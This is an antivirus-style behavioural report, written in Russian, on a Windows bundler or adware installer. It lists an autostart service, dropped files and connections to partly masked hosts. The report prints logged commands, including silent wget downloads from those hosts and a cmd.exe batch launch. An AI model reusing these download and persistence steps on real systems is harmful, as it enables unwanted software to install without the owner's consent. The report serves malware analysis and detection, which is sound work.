Техническая информация
Для обеспечения автозапуска и распространения:
Создает следующие сервисы:
- [<HKLM>\SYSTEM\ControlSet001\services\ProtectMonitor] 'Start' = '00000002'
Вредоносные функции:
Создает и запускает на исполнение:
- '%PROGRAM_FILES%\PCDApp\StartHelp.exe'
- '%TEMP%\nsj71C6.tmp\nsCEE8.tmp' %PROGRAM_FILES%\PCDApp\StartHelp.exe
- '%PROGRAM_FILES%\PCDApp\dgen.exe' d12 6003
- '%TEMP%\nsjD308.tmp\nsD4BE.tmp' "%PROGRAM_FILES%\PCDApp\cstart.bat" 12 6003
- '%PROGRAM_FILES%\PCDApp\wget.exe' -q -O "o.o" "http://tr###.#rkinstall.com/opened.php?v=###########"
- '%TEMP%\nsj71C6.tmp\ns72FF.tmp' "%PROGRAM_FILES%\PCDApp\wget.exe" -q -O "o.o" "http://tr###.#rkinstall.com/opened.php?v=###########"
- '%PROGRAM_FILES%\PCDApp\wget.exe' -q -O "%PROGRAM_FILES%\PCDApp\o.c" "http://tr###.#rkinstall.com/bundleinstaller/get_cc.php"
- '%TEMP%\nsj71C6.tmp\ns7BE6.tmp' "%PROGRAM_FILES%\PCDApp\wget.exe" -q -O "%PROGRAM_FILES%\PCDApp\o.c" "http://tr###.#rkinstall.com/bundleinstaller/get_cc.php"
Запускает на исполнение:
- '<SYSTEM32>\cmd.exe' /c ""%PROGRAM_FILES%\PCDApp\cstart.bat" 12 6003"
Изменения в файловой системе:
Создает следующие файлы:
- %TEMP%\nsj71C6.tmp\SimpleFC.dll
- %TEMP%\nsj71C6.tmp\SimpleSC.dll
- %TEMP%\nsjD308.tmp\System.dll
- %TEMP%\nsj71C6.tmp\nsCEE8.tmp
- <LS_APPDATA>Low\Microsoft\CryptnetUrlCache\Content\B8CC409ACDBF2A2FE04C56F2875B1FD6
- <LS_APPDATA>Low\Microsoft\CryptnetUrlCache\MetaData\B8CC409ACDBF2A2FE04C56F2875B1FD6
- %TEMP%\TarC9B9.tmp
- %TEMP%\CabC9B8.tmp
- %TEMP%\nsjD308.tmp\HwInfo.dll
- <LS_APPDATA>Low\Microsoft\CryptnetUrlCache\Content\C24EC5BDAF13613245B4CECC3DE91DC6
- %TEMP%\Tar1A19.tmp
- %TEMP%\Cab1A08.tmp
- %TEMP%\nsjD308.tmp\nsExec.dll
- %TEMP%\nsjD308.tmp\nsRandom.dll
- <LS_APPDATA>Low\Microsoft\CryptnetUrlCache\MetaData\C24EC5BDAF13613245B4CECC3DE91DC6
- %TEMP%\nsjD308.tmp\nsD4BE.tmp
- %PROGRAM_FILES%\PCDApp\o.o
- %TEMP%\nsj71C6.tmp\ns72FF.tmp
- %PROGRAM_FILES%\PCDApp\o.c
- %TEMP%\nsj71C6.tmp\ns7BE6.tmp
- %PROGRAM_FILES%\PCDApp\uninstaller.exe
- %TEMP%\nsj71C6.tmp\System.dll
- %TEMP%\nsj71C6.tmp\nsExec.dll
- %PROGRAM_FILES%\PCDApp\wget.exe
- %PROGRAM_FILES%\PCDApp\pthreadGC2.dll
- %PROGRAM_FILES%\PCDApp\libcurl-4.dll
- %TEMP%\nsj71C6.tmp\HwInfo.dll
- %PROGRAM_FILES%\PCDApp\zlib1.dll
- %PROGRAM_FILES%\PCDApp\cstart.bat
- %PROGRAM_FILES%\PCDApp\StartHelp.exe
- %PROGRAM_FILES%\PCDApp\dgen.exe
- %PROGRAM_FILES%\PCDApp\nstart.bat
Удаляет следующие файлы:
- %TEMP%\nsjD308.tmp\System.dll
- %TEMP%\nsj71C6.tmp\nsCEE8.tmp
- %TEMP%\nsjD308.tmp\nsExec.dll
- %TEMP%\nsjD308.tmp\nsRandom.dll
- %TEMP%\nsj71C6.tmp\HwInfo.dll
- %TEMP%\nsj71C6.tmp\SimpleSC.dll
- %TEMP%\nsj71C6.tmp\System.dll
- %TEMP%\nsj71C6.tmp\nsExec.dll
- %TEMP%\nsj71C6.tmp\SimpleFC.dll
- %PROGRAM_FILES%\PCDApp\o.c
- %TEMP%\CabC9B8.tmp
- %TEMP%\nsj71C6.tmp\ns72FF.tmp
- %TEMP%\nsj71C6.tmp\ns7BE6.tmp
- %TEMP%\TarC9B9.tmp
- %TEMP%\Tar1A19.tmp
- %TEMP%\nsjD308.tmp\HwInfo.dll
- %TEMP%\nsjD308.tmp\nsD4BE.tmp
- %TEMP%\Cab1A08.tmp
Сетевая активность:
Подключается к:
- 'd1#.##taping.net':6003
- '20#.#6.232.182':80
- 'tr###.#rkinstall.com':80
TCP:
Запросы HTTP GET:
- 20#.#6.232.182/pki/crl/products/WinPCA.crl
- 20#.#6.232.182/pki/crl/products/microsoftrootcert.crl
- tr###.#rkinstall.com/opened.php?v=###########
- tr###.#rkinstall.com/bundleinstaller/get_cc.php
UDP:
- DNS ASK www.microsoft.com
- DNS ASK d1#.##taping.net
- DNS ASK tr###.#rkinstall.com
- DNS ASK crl.microsoft.com
